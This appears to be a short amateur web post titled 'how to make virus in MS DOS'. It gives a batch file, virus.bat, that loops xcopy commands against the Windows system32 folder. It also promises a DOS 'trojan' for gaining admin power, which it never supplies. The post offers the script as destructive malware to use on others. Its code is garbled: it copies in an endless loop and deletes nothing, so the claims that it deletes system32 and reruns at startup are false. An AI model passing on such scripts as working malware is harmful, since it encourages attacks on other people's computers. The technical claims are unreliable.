how to make virus in MS DOS
Make a file with name virus.bat
***** code start *****
@echo off
cd
cd c:/WINDOWS/system32
: copy
xcopy/c C:/windows
goto copy
cd
cd c:/WINDOWS/system32
: copy
xcopy/c %0
goto copy
***** end of code *****
This will delete system 32 and make a backup copy of the file in windows and it will open up when the computer runs so if then get a backup of windows then it will get delete.
Now for a trojan in dos well maybe not a real trojan but it is a good virus and will give you admin power in a computeryou can use this if you have two pc in your house but if you use it on someone adn they dunno about it then the cops maybe coming to your door lol.